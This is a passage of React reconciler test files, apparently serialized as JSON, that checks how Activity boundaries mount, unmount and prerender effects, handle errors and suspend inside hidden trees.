Scheduler.log('componentDidUpdate');\n      }\n      componentWillUnmount() {\n        Scheduler.log('componentWillUnmount');\n      }\n      render() {\n        return 'Child';\n      }\n    }\n\n    // Initial mount\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['componentDidMount']);\n\n    // Hide the class component\n    await act(() => {\n      root.render(\n        <Activity mode=\"hidden\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['componentWillUnmount']);\n\n    // Reappear the class component. componentDidMount should fire, not\n    // componentDidUpdate.\n    await act(() => {\n      root.render(\n        <Activity mode=\"visible\">\n          <Child />\n        </Activity>,\n      );\n    });\n    assertLog(['componentDidMount']);\n  });\n\n  it(\n    'when reusing old components (hidden -> visible), layout effects fire ' +\n      'with same timing as if it were brand new',\n    async () => {\n      function Child({label}) {\n        useLayoutEffect(() => {\n          Scheduler.log('Mount ' + label);\n          return () => {\n            Scheduler.log('Unmount ' + label);\n          };\n        }, [label]);\n        return label;\n      }\n\n      // Initial mount\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(\n          <Activity mode=\"visible\">\n            <Child key=\"B\" label=\"B\" />\n          </Activity>,\n        );\n      });\n      assertLog(['Mount B']);\n\n      // Hide the component\n      await act(() => {\n        root.render(\n          <Activity mode=\"hidden\">\n            <Child key=\"B\" label=\"B\" />\n          </Activity>,\n        );\n      });\n      assertLog(['Unmount B']);\n\n      // Reappear the component and also add some new siblings.\n      await act(() => {\n        root.render(\n          <Activity mode=\"visible\">\n            <Child key=\"A\" label=\"A\" />\n            <Child key=\"B\" label=\"B\" />\n            <Child key=\"C\" label=\"C\" />\n          </Activity>,\n        );\n      });\n      // B's effect should fire in between A and C even though it's been reused\n      // from a previous render. In other words, it's the same order as if all\n      // three siblings were brand new.\n      assertLog(['Mount A', 'Mount B', 'Mount C']);\n    },\n  );\n\n  it(\n    'when reusing old components (hidden -> visible), layout effects fire ' +\n      'with same timing as if it were brand new (includes setState callback)',\n    async () => {\n      class Child extends React.Component {\n        componentDidMount() {\n          Scheduler.log('Mount ' + this.props.label);\n        }\n        componentWillUnmount() {\n          Scheduler.log('Unmount ' + this.props.label);\n        }\n        render() {\n          return this.props.label;\n        }\n      }\n\n      // Initial mount\n      const bRef = React.createRef();\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(\n          <Activity mode=\"visible\">\n            <Child key=\"B\" ref={bRef} label=\"B\" />\n          </Activity>,\n        );\n      });\n      assertLog(['Mount B']);\n\n      // We're going to schedule an update on a hidden component, so stash a\n      // reference to its setState before the ref gets detached\n      const setStateB = bRef.current.setState.bind(bRef.current);\n\n      // Hide the component\n      await act(() => {\n        root.render(\n          <Activity mode=\"hidden\">\n            <Child key=\"B\" ref={bRef} label=\"B\" />\n          </Activity>,\n        );\n      });\n      assertLog(['Unmount B']);\n\n      // Reappear the component and also add some new siblings.\n      await act(() => {\n        setStateB(null, () => {\n          Scheduler.log('setState callback B');\n        });\n        root.render(\n          <Activity mode=\"visible\">\n            <Child key=\"A\" label=\"A\" />\n            <Child key=\"B\" ref={bRef} label=\"B\" />\n            <Child key=\"C\" label=\"C\" />\n          </Activity>,\n        );\n      });\n      // B's effect should fire in between A and C even though it's been reused\n      // from a previous render. In other words, it's the same order as if all\n      // three siblings were brand new.\n      assertLog(['Mount A', 'Mount B', 'setState callback B', 'Mount C']);\n    },\n  );\n\n  it('defer passive effects when prerendering a new Activity tree', async () => {\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return <Text text={label} />;\n    }\n\n    function App({showMore}) {\n      return (\n        <>\n          <Child label=\"Shell\" />\n          <Activity mode={showMore ? 'visible' : 'hidden'}>\n            <Child label=\"More\" />\n          </Activity>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Mount the app without showing the extra content\n    await act(() => {\n      root.render(<App showMore={false} />);\n    });\n    assertLog([\n      // First mount the outer visible shell\n      'Shell',\n      'Mount Shell',\n\n      // Then prerender the hidden extra context. The passive effects in the\n      // hidden tree should not fire\n      'More',\n      // Does not fire\n      // 'Mount More',\n    ]);\n    // The hidden content has been prerendered\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Shell\" />\n        <span hidden={true} prop=\"More\" />\n      </>,\n    );\n\n    // Reveal the prerendered tree\n    await act(() => {\n      root.render(<App showMore={true} />);\n    });\n    assertLog([\n      'Shell',\n      'More',\n\n      // Mount the passive effects in the newly revealed tree, the ones that\n      // were skipped during pre-rendering.\n      'Mount More',\n    ]);\n  });\n\n  // @gate enableLegacyHidden\n  it('do not defer passive effects when prerendering a new LegacyHidden tree', async () => {\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return <Text text={label} />;\n    }\n\n    function App({showMore}) {\n      return (\n        <>\n          <Child label=\"Shell\" />\n          <LegacyHidden\n            mode={showMore ? 'visible' : 'unstable-defer-without-hiding'}>\n            <Child label=\"More\" />\n          </LegacyHidden>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Mount the app without showing the extra content\n    await act(() => {\n      root.render(<App showMore={false} />);\n    });\n    assertLog([\n      // First mount the outer visible shell\n      'Shell',\n      'Mount Shell',\n\n      // Then prerender the hidden extra context. Unlike Activity, the passive\n      // effects in the hidden tree *should* fire\n      'More',\n      'Mount More',\n    ]);\n\n    // The hidden content has been prerendered\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Shell\" />\n        <span prop=\"More\" />\n      </>,\n    );\n\n    // Reveal the prerendered tree\n    await act(() => {\n      root.render(<App showMore={true} />);\n    });\n    assertLog(['Shell', 'More']);\n  });\n\n  it('passive effects are connected and disconnected when the visibility changes', async () => {\n    function Child({step}) {\n      useEffect(() => {\n        Scheduler.log(`Commit mount [${step}]`);\n        return () => {\n          Scheduler.log(`Commit unmount [${step}]`);\n        };\n      }, [step]);\n      return <Text text={step} />;\n    }\n\n    function App({show, step}) {\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          {useMemo(\n            () => (\n              <Child step={step} />\n            ),\n            [step],\n          )}\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App show={true} step={1} />);\n    });\n    assertLog([1, 'Commit mount [1]']);\n    expect(root).toMatchRenderedOutput(<span prop={1} />);\n\n    // Hide the tree. This will unmount the effect.\n    await act(() => {\n      root.render(<App show={false} step={1} />);\n    });\n    assertLog(['Commit unmount [1]']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop={1} />);\n\n    // Update.\n    await act(() => {\n      root.render(<App show={false} step={2} />);\n    });\n    // The update is prerendered but no effects are fired\n    assertLog([2]);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop={2} />);\n\n    // Reveal the tree.\n    await act(() => {\n      root.render(<App show={true} step={2} />);\n    });\n    // The update doesn't render because it was already prerendered, but we do\n    // fire the effect.\n    assertLog(['Commit mount [2]']);\n    expect(root).toMatchRenderedOutput(<span prop={2} />);\n  });\n\n  it('passive effects are unmounted on hide in the same order as during a deletion: parent before child', async () => {\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount Child');\n        return () => {\n          Scheduler.log('Unmount Child');\n        };\n      }, []);\n      return <div>Hi</div>;\n    }\n    function Parent() {\n      useEffect(() => {\n        Scheduler.log('Mount Parent');\n        return () => {\n          Scheduler.log('Unmount Parent');\n        };\n      }, []);\n      return <Child />;\n    }\n\n    function App({show}) {\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          <Parent />\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App show={true} />);\n    });\n    assertLog(['Mount Child', 'Mount Parent']);\n\n    // First demonstrate what happens during a normal deletion\n    await act(() => {\n      root.render(null);\n    });\n    assertLog(['Unmount Parent', 'Unmount Child']);\n\n    // Now redo the same thing but hide instead of deleting\n    await act(() => {\n      root.render(<App show={true} />);\n    });\n    assertLog(['Mount Child', 'Mount Parent']);\n    await act(() => {\n      root.render(<App show={false} />);\n    });\n    // The order is the same as during a deletion: parent before child\n    assertLog(['Unmount Parent', 'Unmount Child']);\n  });\n\n  // TODO: As of now, there's no way to hide a tree without also unmounting its\n  // effects. (Except for Suspense, which has its own tests associated with it.)\n  // Re-enable this test once we add this ability. For example, we'll likely add\n  // either an option or a heuristic to mount passive effects inside a hidden\n  // tree after a delay.\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip(\"don't defer passive effects when prerendering in a tree whose effects are already connected\", async () => {\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return <Text text={label} />;\n    }\n\n    function App({showMore, step}) {\n      return (\n        <>\n          <Child label={'Shell ' + step} />\n          <Activity mode={showMore ? 'visible' : 'hidden'}>\n            <Child label={'More ' + step} />\n          </Activity>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Mount the app, including the extra content\n    await act(() => {\n      root.render(<App showMore={true} step={1} />);\n    });\n    assertLog(['Shell 1', 'More 1', 'Mount Shell 1', 'Mount More 1']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"Shell 1\" />\n        <span prop=\"More 1\" />\n      </>,\n    );\n\n    // Hide the extra content. while also updating one of its props\n    await act(() => {\n      root.render(<App showMore={false} step={2} />);\n    });\n    assertLog([\n      // First update the outer visible shell\n      'Shell 2',\n      'Unmount Shell 1',\n      'Mount Shell 2',\n\n      // Then prerender the update to the hidden content. Since the effects\n      // are already connected inside the hidden tree, we don't defer updates\n      // to them.\n      'More 2',\n      'Unmount More 1',\n      'Mount More 2',\n    ]);\n  });\n\n  it('does not mount effects when prerendering a nested Activity boundary', async () => {\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return <Text text={label} />;\n    }\n\n    function App({showOuter, showInner}) {\n      return (\n        <Activity mode={showOuter ? 'visible' : 'hidden'}>\n          {useMemo(\n            () => (\n              <div>\n                <Child label=\"Outer\" />\n                {showInner ? (\n                  <Activity mode=\"visible\">\n                    <div>\n                      <Child label=\"Inner\" />\n                    </div>\n                  </Activity>\n                ) : null}\n              </div>\n            ),\n            [showInner],\n          )}\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Prerender the outer contents. No effects should mount.\n    await act(() => {\n      root.render(<App showOuter={false} showInner={false} />);\n    });\n    assertLog(['Outer']);\n    expect(root).toMatchRenderedOutput(\n      <div hidden={true}>\n        <span prop=\"Outer\" />\n      </div>,\n    );\n\n    // Prerender the inner contents. No effects should mount.\n    await act(() => {\n      root.render(<App showOuter={false} showInner={true} />);\n    });\n    assertLog(['Outer', 'Inner']);\n    expect(root).toMatchRenderedOutput(\n      <div hidden={true}>\n        <span prop=\"Outer\" />\n        <div>\n          <span prop=\"Inner\" />\n        </div>\n      </div>,\n    );\n\n    // Reveal the prerendered tree\n    await act(() => {\n      root.render(<App showOuter={true} showInner={true} />);\n    });\n    // The effects fire, but the tree is not re-rendered because it already\n    // prerendered.\n    assertLog(['Mount Outer', 'Mount Inner']);\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Outer\" />\n        <div>\n          <span prop=\"Inner\" />\n        </div>\n      </div>,\n    );\n  });\n\n  it('reveal an outer Activity boundary without revealing an inner one', async () => {\n    function Child({label}) {\n      useEffect(() => {\n        Scheduler.log('Mount ' + label);\n        return () => {\n          Scheduler.log('Unmount ' + label);\n        };\n      }, [label]);\n      return <Text text={label} />;\n    }\n\n    function App({showOuter, showInner}) {\n      return (\n        <Activity mode={showOuter ? 'visible' : 'hidden'}>\n          {useMemo(\n            () => (\n              <div>\n                <Child label=\"Outer\" />\n                <Activity mode={showInner ? 'visible' : 'hidden'}>\n                  <div>\n                    <Child label=\"Inner\" />\n                  </div>\n                </Activity>\n              </div>\n            ),\n            [showInner],\n          )}\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Prerender the whole tree.\n    await act(() => {\n      root.render(<App showOuter={false} showInner={false} />);\n    });\n    assertLog(['Outer', 'Inner']);\n    // Both the inner and the outer tree should be hidden. Hiding the inner tree\n    // is arguably redundant, but the advantage of hiding both is that later you\n    // can reveal the outer tree without having to examine the inner one.\n    expect(root).toMatchRenderedOutput(\n      <div hidden={true}>\n        <span prop=\"Outer\" />\n        <div hidden={true}>\n          <span prop=\"Inner\" />\n        </div>\n      </div>,\n    );\n\n    // Reveal the outer contents. The inner tree remains hidden.\n    await act(() => {\n      root.render(<App showOuter={true} showInner={false} />);\n    });\n    assertLog(['Mount Outer']);\n    expect(root).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Outer\" />\n        <div hidden={true}>\n          <span prop=\"Inner\" />\n        </div>\n      </div>,\n    );\n  });\n\n  it('reveal an inner Activity boundary without revealing an outer one on the same host child', async () => {\n    // This ensures that no update is scheduled, which would cover up the bug if the parent\n    // then re-hides the child on the way up.\n    const memoizedElement = <div />;\n    function App({showOuter, showInner}) {\n      return (\n        <Activity mode={showOuter ? 'visible' : 'hidden'} name=\"Outer\">\n          <Activity mode={showInner ? 'visible' : 'hidden'} name=\"Inner\">\n            {memoizedElement}\n          </Activity>\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Prerender the whole tree.\n    await act(() => {\n      root.render(<App showOuter={false} showInner={false} />);\n    });\n    expect(root).toMatchRenderedOutput(<div hidden={true} />);\n\n    await act(() => {\n      root.render(<App showOuter={false} showInner={true} />);\n    });\n    expect(root).toMatchRenderedOutput(<div hidden={true} />);\n  });\n\n  it('reveal an inner Suspense boundary without revealing an outer Activity on the same host child', async () => {\n    // This ensures that no update is scheduled, which would cover up the bug if the parent\n    // then re-hides the child on the way up.\n    const memoizedElement = <div />;\n    const promise = new Promise(() => {});\n    function App({showOuter, showInner}) {\n      return (\n        <Activity mode={showOuter ? 'visible' : 'hidden'} name=\"Outer\">\n          <Suspense name=\"Inner\">\n            {memoizedElement}\n            {showInner ? null : promise}\n          </Suspense>\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Prerender the whole tree.\n    await act(() => {\n      root.render(<App showOuter={false} showInner={true} />);\n    });\n    expect(root).toMatchRenderedOutput(<div hidden={true} />);\n\n    // Resuspend the inner.\n    await act(() => {\n      root.render(<App showOuter={false} showInner={false} />);\n    });\n    expect(root).toMatchRenderedOutput(<div hidden={true} />);\n\n    await act(() => {\n      root.render(<App showOuter={false} showInner={true} />);\n    });\n    expect(root).toMatchRenderedOutput(<div hidden={true} />);\n  });\n\n  it('insertion effects are not disconnected when the visibility changes', async () => {\n    function Child({step}) {\n      useInsertionEffect(() => {\n        Scheduler.log(`Commit mount [${step}]`);\n        return () => {\n          Scheduler.log(`Commit unmount [${step}]`);\n        };\n      }, [step]);\n      return <Text text={step} />;\n    }\n\n    function App({show, step}) {\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          {useMemo(\n            () => (\n              <Child step={step} />\n            ),\n            [step],\n          )}\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App show={true} step={1} />);\n    });\n    assertLog([1, 'Commit mount [1]']);\n    expect(root).toMatchRenderedOutput(<span prop={1} />);\n\n    // Hide the tree. This will not unmount insertion effects.\n    await act(() => {\n      root.render(<App show={false} step={1} />);\n    });\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop={1} />);\n\n    // Update.\n    await act(() => {\n      root.render(<App show={false} step={2} />);\n    });\n    // The update is pre-rendered so insertion effects are fired\n    assertLog([2, 'Commit unmount [1]', 'Commit mount [2]']);\n    expect(root).toMatchRenderedOutput(<span hidden={true} prop={2} />);\n\n    // Reveal the tree.\n    await act(() => {\n      root.render(<App show={true} step={2} />);\n    });\n    // The update doesn't render because it was already pre-rendered, and the\n    // insertion effect already fired.\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(<span prop={2} />);\n  });\n\n  // @gate enableActivity\n  it('getSnapshotBeforeUpdate does not run in hidden trees', async () => {\n    let setState;\n\n    class Child extends React.Component {\n      getSnapshotBeforeUpdate(prevProps) {\n        const snapshot = `snapshot-${prevProps.value}-to-${this.props.value}`;\n        Scheduler.log(`getSnapshotBeforeUpdate: ${snapshot}`);\n        return snapshot;\n      }\n      componentDidUpdate(prevProps, prevState, snapshot) {\n        Scheduler.log(`componentDidUpdate: ${snapshot}`);\n      }\n      componentDidMount() {\n        Scheduler.log('componentDidMount');\n      }\n      componentWillUnmount() {\n        Scheduler.log('componentWillUnmount');\n      }\n      render() {\n        Scheduler.log(`render: ${this.props.value}`);\n        return <span prop={this.props.value} />;\n      }\n    }\n\n    function Wrapper({show}) {\n      const [value, _setState] = useState(1);\n      setState = _setState;\n      return (\n        <Activity mode={show ? 'visible' : 'hidden'}>\n          <Child value={value} />\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    // Initial render\n    await act(() => {\n      root.render(<Wrapper show={true} />);\n    });\n    assertLog(['render: 1', 'componentDidMount']);\n\n    // Hide the Activity\n    await act(() => {\n      root.render(<Wrapper show={false} />);\n    });\n    assertLog([\n      'componentWillUnmount',\n      'render: 1',\n      // Bugfix: snapshots for hidden trees should not need to be read.\n      ...(gate('enableViewTransition')\n        ? []\n        : ['getSnapshotBeforeUpdate: snapshot-1-to-1']),\n    ]);\n\n    // Trigger an update while hidden by calling setState\n    await act(() => {\n      setState(2);\n    });\n    assertLog([\n      'render: 2',\n      ...(gate('enableViewTransition')\n        ? []\n        : ['getSnapshotBeforeUpdate: snapshot-1-to-2']),\n    ]);\n\n    // This is treated as a new mount so the snapshot also shouldn't be read.\n    await act(() => {\n      root.render(<Wrapper show={true} />);\n    });\n    assertLog([\n      'render: 2',\n      ...(gate('enableViewTransition')\n        ? []\n        : ['getSnapshotBeforeUpdate: snapshot-2-to-2']),\n      'componentDidMount',\n    ]);\n  });\n\n  // @gate enableActivity\n  it('warns if you pass a hidden prop', async () => {\n    function App() {\n      return (\n        // eslint-disable-next-line react/jsx-boolean-value\n        <Activity hidden>\n          <div />\n        </Activity>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      root.render(<App show={true} step={1} />);\n    });\n    assertConsoleErrorDev([\n      '<Activity> doesn\\'t accept a hidden prop. Use mode=\"hidden\" instead.\\n' +\n        '- <Activity hidden>\\n' +\n        '+ <Activity mode=\"hidden\">\\n' +\n        '    in Activity (at **)\\n' +\n        '    in App (at **)',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ActivityErrorHandling-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet Activity;\nlet useState;\nlet assertLog;\n\ndescribe('Activity error handling', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    Activity = React.Activity;\n    useState = React.useState;\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  it(\n    'errors inside a hidden Activity do not escape in the visible part ' +\n      'of the UI',\n    async () => {\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        static getDerivedStateFromError(error) {\n          return {error};\n        }\n        render() {\n          if (this.state.error) {\n            return (\n              <Text text={`Caught an error: ${this.state.error.message}`} />\n            );\n          }\n          return this.props.children;\n        }\n      }\n\n      function Throws() {\n        throw new Error('Oops!');\n      }\n\n      let setShowMore;\n      function App({content, more}) {\n        const [showMore, _setShowMore] = useState(false);\n        setShowMore = _setShowMore;\n        return (\n          <>\n            <div>{content}</div>\n            <div>\n              <ErrorBoundary>\n                <Activity mode={showMore ? 'visible' : 'hidden'}>\n                  {more}\n                </Activity>\n              </ErrorBoundary>\n            </div>\n          </>\n        );\n      }\n\n      await act(() =>\n        ReactNoop.render(\n          <App content={<Text text=\"Visible\" />} more={<Throws />} />,\n        ),\n      );\n\n      // Initial render. An error is thrown when prerendering the hidden\n      // Activity boundary, but since it's hidden, the UI doesn't observe it.\n      assertLog(['Visible']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div>Visible</div>\n          <div />\n        </>,\n      );\n\n      // Once the Activity boundary is revealed, the error is thrown and\n      // captured by the outer ErrorBoundary.\n      await act(() => setShowMore(true));\n      assertLog(['Caught an error: Oops!', 'Caught an error: Oops!']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <div>Visible</div>\n          <div>Caught an error: Oops!</div>\n        </>,\n      );\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ActivityLegacySuspense-test.js",
    "content": "let React;\nlet ReactNoop;\nlet Scheduler;\nlet act;\nlet LegacyHidden;\nlet Activity;\nlet Suspense;\nlet useState;\nlet useEffect;\nlet startTransition;\nlet textCache;\nlet waitFor;\nlet waitForPaint;\nlet assertLog;\n\ndescribe('Activity Suspense', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    LegacyHidden = React.unstable_LegacyHidden;\n    Activity = React.Activity;\n    Suspense = React.Suspense;\n    useState = React.useState;\n    useEffect = React.useEffect;\n    startTransition = React.startTransition;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n\n    textCache = new Map();\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  it('basic example of suspending inside hidden tree', async () => {\n    const root = ReactNoop.createRoot();\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text=\"Visible\" />\n          </span>\n          <Activity mode=\"hidden\">\n            <span>\n              <AsyncText text=\"Hidden\" />\n            </span>\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    // The hidden tree hasn't finished loading, but we should still be able to\n    // show the surrounding contents. The outer Suspense boundary\n    // isn't affected.\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Visible', 'Suspend! [Hidden]']);\n    expect(root).toMatchRenderedOutput(<span>Visible</span>);\n\n    // When the data resolves, we should be able to finish prerendering\n    // the hidden tree.\n    await act(async () => {\n      await resolveText('Hidden');\n    });\n    assertLog(['Hidden']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Visible</span>\n        <span hidden={true}>Hidden</span>\n      </>,\n    );\n  });\n\n  // @gate enableLegacyHidden\n  test('LegacyHidden does not handle suspense', async () => {\n    const root = ReactNoop.createRoot();\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text=\"Visible\" />\n          </span>\n          <LegacyHidden mode=\"hidden\">\n            <span>\n              <AsyncText text=\"Hidden\" />\n            </span>\n          </LegacyHidden>\n        </Suspense>\n      );\n    }\n\n    // Unlike Activity, LegacyHidden never captures if something suspends\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Visible', 'Suspend! [Hidden]', 'Loading...']);\n    // Nearest Suspense boundary switches to a fallback even though the\n    // suspended content is hidden.\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span hidden={true}>Visible</span>\n        Loading...\n      </>,\n    );\n  });\n\n  // @gate __DEV__\n  test('Regression: Suspending on hide should not infinite loop.', async () => {\n    // This regression only repros in public act.\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n    const root = ReactNoop.createRoot();\n\n    let setMode;\n    function Container({text}) {\n      const [mode, _setMode] = React.useState('visible');\n      setMode = _setMode;\n      useEffect(() => {\n        return () => {\n          Scheduler.log(`Clear [${text}]`);\n          textCache.delete(text);\n        };\n      });\n      return (\n        //$FlowFixMe\n        <Suspense fallback=\"Loading\">\n          <Activity mode={mode}>\n            <AsyncText text={text} />\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    await React.act(() => {\n      root.render(<Container text=\"hello\" />);\n    });\n    assertLog([\n      'Suspend! [hello]',\n      // pre-warming\n      'Suspend! [hello]',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading');\n\n    await React.act(async () => {\n      await resolveText('hello');\n    });\n    assertLog(['hello']);\n    expect(root).toMatchRenderedOutput('hello');\n\n    await React.act(async () => {\n      setMode('hidden');\n    });\n    assertLog(['Clear [hello]', 'Suspend! [hello]']);\n    expect(root).toMatchRenderedOutput('');\n  });\n\n  test(\"suspending inside currently hidden tree that's switching to visible\", async () => {\n    const root = ReactNoop.createRoot();\n\n    function Details({open, children}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text={open ? 'Open' : 'Closed'} />\n          </span>\n          <Activity mode={open ? 'visible' : 'hidden'}>\n            <span>{children}</span>\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    // The hidden tree hasn't finished loading, but we should still be able to\n    // show the surrounding contents. It doesn't matter that there's no\n    // Suspense boundary because the unfinished content isn't visible.\n    await act(() => {\n      root.render(\n        <Details open={false}>\n          <AsyncText text=\"Async\" />\n        </Details>,\n      );\n    });\n    assertLog(['Closed', 'Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput(<span>Closed</span>);\n\n    // But when we switch the boundary from hidden to visible, it should\n    // now bubble to the nearest Suspense boundary.\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Details open={true}>\n            <AsyncText text=\"Async\" />\n          </Details>,\n        );\n      });\n    });\n    assertLog(['Open', 'Suspend! [Async]', 'Loading...']);\n    // It should suspend with delay to prevent the already-visible Suspense\n    // boundary from switching to a fallback\n    expect(root).toMatchRenderedOutput(<span>Closed</span>);\n\n    // Resolve the data and finish rendering\n    await act(async () => {\n      await resolveText('Async');\n    });\n    assertLog(['Open', 'Async']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Open</span>\n        <span>Async</span>\n      </>,\n    );\n  });\n\n  test(\"suspending inside currently visible tree that's switching to hidden\", async () => {\n    const root = ReactNoop.createRoot();\n\n    function Details({open, children}) {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <span>\n            <Text text={open ? 'Open' : 'Closed'} />\n          </span>\n          <Activity mode={open ? 'visible' : 'hidden'}>\n            <span>{children}</span>\n          </Activity>\n        </Suspense>\n      );\n    }\n\n    // Initial mount. Nothing suspends\n    await act(() => {\n      root.render(\n        <Details open={true}>\n          <Text text=\"(empty)\" />\n        </Details>,\n      );\n    });\n    assertLog(['Open', '(empty)']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Open</span>\n        <span>(empty)</span>\n      </>,\n    );\n\n    // Update that suspends inside the currently visible tree\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Details open={true}>\n            <AsyncText text=\"Async\" />\n          </Details>,\n        );\n      });\n    });\n    assertLog(['Open', 'Suspend! [Async]', 'Loading...']);\n    // It should suspend with delay to prevent the already-visible Suspense\n    // boundary from switching to a fallback\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Open</span>\n        <span>(empty)</span>\n      </>,\n    );\n\n    // Update that hides the suspended tree\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Details open={false}>\n            <AsyncText text=\"Async\" />\n          </Details>,\n        );\n      });\n    });\n    // Now the visible part of the tree can commit without being blocked\n    // by the suspended content, which is hidden.\n    assertLog(['Closed', 'Suspend! [Async]']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Closed</span>\n        <span hidden={true}>(empty)</span>\n      </>,\n    );\n\n    // Resolve the data and finish rendering\n    await act(async () => {\n      await resolveText('Async');\n    });\n    assertLog(['Async']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span>Closed</span>\n        <span hidden={true}>Async</span>\n      </>,\n    );\n  });\n\n  test('update that suspends inside hidden tree', async () => {\n    let setText;\n    function Child() {\n      const [text, _setText] = useState('A');\n      setText = _setText;\n      return <AsyncText text={text} />;\n    }\n\n    function App({show}) {\n      return (\n        <Activity mode={show ? 'visible' : 